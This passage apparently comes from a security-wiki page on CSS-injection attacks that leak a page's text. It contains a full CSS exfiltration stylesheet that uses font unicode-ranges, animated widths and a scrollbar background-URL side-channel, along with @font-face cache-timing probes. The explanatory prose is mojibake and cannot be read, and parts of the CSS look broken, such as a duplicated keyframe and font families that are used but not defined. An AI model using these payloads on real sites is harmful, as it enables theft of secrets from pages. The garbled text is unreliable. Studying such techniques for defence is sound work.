@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}

Text node exfiltration (III): charset рдХреЛ рдЫрд┐рдкрд╛рдиреЗ рд╡рд╛рд▓реЗ рддрддреНрд╡реЛрдВ рдХреЗ рд╕рд╛рде рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдлрд╝реЙрдиреНрдЯ рджреНрд╡рд╛рд░рд╛ рд▓реАрдХ рдХрд░рдирд╛ (рдмрд╛рд╣рд░реА рд╕рдВрдкрддреНрддрд┐рдпреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ)

Reference: рдЗрд╕реЗ рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ рдПрдХ рдЕрд╕рдлрд▓ рд╕рдорд╛рдзрд╛рди рдХреЗ рд░реВрдк рдореЗрдВ рдЙрд▓реНрд▓реЗрдЦрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ

рдпрд╣ рдорд╛рдорд▓рд╛ рдкрд┐рдЫрд▓реЗ рдорд╛рдорд▓реЗ рдХреЗ рдмрд╣реБрдд рд╕рдорд╛рди рд╣реИ, рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рд╡рд┐рд╢реЗрд╖ chars рдХреЛ рдЕрдиреНрдп рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдмрдбрд╝рд╛ рдмрдирд╛рдирд╛ рдХреБрдЫ рдЫрд┐рдкрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИ рдЬреИрд╕реЗ рдХрд┐ рдмрдЯрди рдЬрд┐рд╕реЗ рдмреЙрдЯ рджреНрд╡рд╛рд░рд╛ рджрдмрд╛рдпрд╛ рдирд╣реАрдВ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП рдпрд╛ рдПрдХ рдЫрд╡рд┐ рдЬреЛ рд▓реЛрдб рдирд╣реАрдВ рд╣реЛрдЧреАред рдЗрд╕рд▓рд┐рдП рд╣рдо рдХреНрд░рд┐рдпрд╛ (рдпрд╛ рдХреНрд░рд┐рдпрд╛ рдХреА рдХрдореА) рдХреЛ рдорд╛рдк рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЬрд╛рди рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреНрдпрд╛ рдкрд╛рда рдХреЗ рдЕрдВрджрд░ рдПрдХ рд╡рд┐рд╢реЗрд╖ char рдореМрдЬреВрдж рд╣реИред

Text node exfiltration (III): cache timing рджреНрд╡рд╛рд░рд╛ charset рдХреЛ рд▓реАрдХ рдХрд░рдирд╛ (рдмрд╛рд╣рд░реА рд╕рдВрдкрддреНрддрд┐рдпреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ)

Reference: рдЗрд╕реЗ рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ рдПрдХ рдЕрд╕рдлрд▓ рд╕рдорд╛рдзрд╛рди рдХреЗ рд░реВрдк рдореЗрдВ рдЙрд▓реНрд▓реЗрдЦрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ

рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рд╣рдо рдпрд╣ рд▓реАрдХ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреНрдпрд╛ рдПрдХ char рдкрд╛рда рдореЗрдВ рд╣реИ, рдПрдХ рд╣реА рдореВрд▓ рд╕реЗ рдПрдХ рдирдХрд▓реА рдлрд╝реЙрдиреНрдЯ рд▓реЛрдб рдХрд░рдХреЗ:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

рдпрджрд┐ рдореЗрд▓ рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдлреЙрдиреНрдЯ /static/bootstrap.min.css?q=1 рд╕реЗ рд▓реЛрдб рд╣реЛрдЧрд╛ред рд╣рд╛рд▓рд╛рдВрдХрд┐ рдпрд╣ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рд▓реЛрдб рдирд╣реАрдВ рд╣реЛрдЧрд╛, рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдЗрд╕реЗ рдХреИрд╢ рдХрд░реЗрдЧрд╛, рдФрд░ рдпрджрд┐ рдХреИрд╢ рдирд╣реАрдВ рд╣реИ, рддреЛ 304 рдиреЙрдЯ рдореЙрдбрд┐рдлрд╛рдЗрдб рддрдВрддреНрд░ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдЕрдиреНрдп рдЪреАрдЬреЛрдВ рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рддреЗрдЬрд╝ рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдПред

рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрджрд┐ рдХреИрд╢ рдХреА рдЧрдИ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдФрд░ рдЧреИрд░-рдХреИрд╢ рдХреА рдЧрдИ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЗ рдмреАрдЪ рдХрд╛ рд╕рдордп рдЕрдВрддрд░ рдкрд░реНрдпрд╛рдкреНрдд рдмрдбрд╝рд╛ рдирд╣реАрдВ рд╣реИ, рддреЛ рдпрд╣ рдЙрдкрдпреЛрдЧреА рдирд╣реАрдВ рд╣реЛрдЧрд╛ред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд▓реЗрдЦрдХ рдиреЗ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛: рд╣рд╛рд▓рд╛рдВрдХрд┐, рдкрд░реАрдХреНрд╖рдг рдХреЗ рдмрд╛рдж, рдореИрдВрдиреЗ рдкрд╛рдпрд╛ рдХрд┐ рдкрд╣рд▓реА рд╕рдорд╕реНрдпрд╛ рдпрд╣ рд╣реИ рдХрд┐ рдЧрддрд┐ рдореЗрдВ рдЬреНрдпрд╛рджрд╛ рдЕрдВрддрд░ рдирд╣реАрдВ рд╣реИ, рдФрд░ рджреВрд╕рд░реА рд╕рдорд╕реНрдпрд╛ рдпрд╣ рд╣реИ рдХрд┐ рдмреЙрдЯ disk-cache-size=1 рдзреНрд╡рдЬ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рд╡рд┐рдЪрд╛рд░рд╢реАрд▓ рд╣реИред

рдЯреЗрдХреНрд╕реНрдЯ рдиреЛрдб рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрд╢рди (III): рд╕реНрдерд╛рдиреАрдп "рдлреЙрдиреНрдЯ" рдХреЗ рд╕реИрдХрдбрд╝реЛрдВ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд╕рдордп рджреНрд╡рд╛рд░рд╛ charset рд▓реАрдХ рдХрд░рдирд╛ (рдмрд╛рд╣рд░реА рд╕рдВрдкрддреНрддрд┐рдпреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ)

рд╕рдВрджрд░реНрдн: рдЗрд╕реЗ рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ рдПрдХ рдЕрд╕рдлрд▓ рд╕рдорд╛рдзрд╛рди рдХреЗ рд░реВрдк рдореЗрдВ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ

рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рдЖрдк рд╕рдВрдХреЗрдд рджреЗ рд╕рдХрддреЗ рд╣реИрдВ CSS рдХреЛ рдПрдХ рд╣реА рдореВрд▓ рд╕реЗ рд╕реИрдХрдбрд╝реЛрдВ рдирдХрд▓реА рдлреЙрдиреНрдЯ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрдм рдореЗрд▓ рд╣реЛрддрд╛ рд╣реИред рдЗрд╕ рддрд░рд╣ рдЖрдк рд╕рдордп рдорд╛рдк рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рд▓рдЧрддрд╛ рд╣реИ рдФрд░ рдкрддрд╛ рд▓рдЧрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреЛрдИ рд╡рд░реНрдг рдкреНрд░рдХрдЯ рд╣реЛрддрд╛ рд╣реИ рдпрд╛ рдирд╣реАрдВ рдХреБрдЫ рдЗрд╕ рддрд░рд╣:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

рдФрд░ рдмреЙрдЯ рдХрд╛ рдХреЛрдб рдЗрд╕ рддрд░рд╣ рджрд┐рдЦрддрд╛ рд╣реИ:

browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

рддреЛ, рдпрджрд┐ рдлрд╝реЙрдиреНрдЯ рдореЗрд▓ рдирд╣реАрдВ рдЦрд╛рддрд╛ рд╣реИ, рддреЛ рдмреЙрдЯ рдкрд░ рдЬрд╛рдиреЗ рдкрд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╕рдордп рд▓рдЧрднрдЧ 30 рд╕реЗрдХрдВрдб рд╣реЛрдиреЗ рдХреА рдЙрдореНрдореАрдж рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрджрд┐ рдлрд╝реЙрдиреНрдЯ рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИ, рддреЛ рдлрд╝реЙрдиреНрдЯ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдИ рдЕрдиреБрд░реЛрдз рднреЗрдЬреЗ рдЬрд╛рдПрдВрдЧреЗ, рдЬрд┐рд╕рд╕реЗ рдиреЗрдЯрд╡рд░реНрдХ рдореЗрдВ рдирд┐рд░рдВрддрд░ рдЧрддрд┐рд╡рд┐рдзрд┐ рд╣реЛрдЧреАред рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рд░реЛрдХрдиреЗ рдХреА рд╕реНрдерд┐рддрд┐ рдХреЛ рд╕рдВрддреБрд╖реНрдЯ рдХрд░рдиреЗ рдФрд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдореЗрдВ рдЕрдзрд┐рдХ рд╕рдордп рд▓рдЧреЗрдЧрд╛ред рдЗрд╕рд▓рд┐рдП, рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╕рдордп рдХрд╛ рдЙрдкрдпреЛрдЧ рдпрд╣ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рдВрдХреЗрддрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдлрд╝реЙрдиреНрдЯ рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИред

рд╕рдВрджрд░реНрдн

Support HackTricks

Last updated